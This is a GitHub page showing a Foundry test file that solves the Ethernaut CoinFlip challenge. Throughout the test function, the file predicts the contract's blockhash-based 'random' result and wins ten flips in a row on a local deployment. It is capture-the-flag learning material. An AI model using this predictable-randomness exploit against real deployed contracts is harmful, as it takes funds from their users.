-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCoinFlipExploit.t.sol
48 lines (40 loc) · 1.3 KB
/
CoinFlipExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import '../../src/EthernautCTF/CoinFlip.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';
contract CoinFlipExploit is Test {
CoinFlip target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
function setUp() public {
vm.startPrank(deployer);
target = new CoinFlip();
console.log('Target contract deployed');
vm.stopPrank();
}
function testExploit() public {
uint256 wins = target.consecutiveWins();
console.log('Consecutive wins: %d', wins);
assertEq(wins, 0);
// Guess the outcome of the coin a few times.
uint256 factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 lastHash;
while (wins < 10) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
vm.roll(block.number + 1);
continue;
}
lastHash = blockValue;
uint256 coinFlip = blockValue / factor;
bool guess = coinFlip == 1 ? true : false;
assertTrue(target.flip(guess));
console.log('Good guess!');
wins = target.consecutiveWins();
}
wins = target.consecutiveWins();
console.log('Consecutive wins: %d', wins);
assertEq(wins, 10);
}
}